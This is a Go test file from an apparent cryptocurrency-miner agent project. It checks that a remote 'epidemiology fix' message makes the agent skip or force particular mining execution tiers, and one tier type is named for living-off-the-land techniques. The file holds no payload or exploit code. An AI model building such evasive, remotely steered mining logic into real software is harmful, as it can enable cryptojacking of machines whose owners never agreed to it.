Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
38 lines
883 B
Go
38 lines
883 B
Go
package client
|
|
|
|
import (
|
|
"encoding/json"
|
|
"testing"
|
|
|
|
"crypto-miner-agent/miner"
|
|
)
|
|
|
|
func TestApplyEpidemiologyFixSkipsFailedTiers(t *testing.T) {
|
|
c := &AgentClient{}
|
|
raw, _ := json.Marshal(EpidemiologyFix{
|
|
AgentID: "a1",
|
|
Reason: "broken branch",
|
|
SkipTiers: []string{"exe_subprocess", "wsl"},
|
|
})
|
|
c.applyEpidemiologyFixJSON(raw)
|
|
policy := c.miningTierPolicy()
|
|
if len(policy.SkipTiers) != 2 {
|
|
t.Fatalf("skip tiers=%v", policy.SkipTiers)
|
|
}
|
|
if policy.SkipTiers[0] != miner.LOTLTier("exe_subprocess") {
|
|
t.Fatalf("first skip=%v", policy.SkipTiers[0])
|
|
}
|
|
}
|
|
|
|
func TestApplyEpidemiologyFixForceTier(t *testing.T) {
|
|
c := &AgentClient{}
|
|
raw, _ := json.Marshal(EpidemiologyFix{
|
|
ForceTier: "container",
|
|
})
|
|
c.applyEpidemiologyFixJSON(raw)
|
|
policy := c.miningTierPolicy()
|
|
if policy.ForceTier != miner.TierContainer {
|
|
t.Fatalf("force tier=%v", policy.ForceTier)
|
|
}
|
|
}
|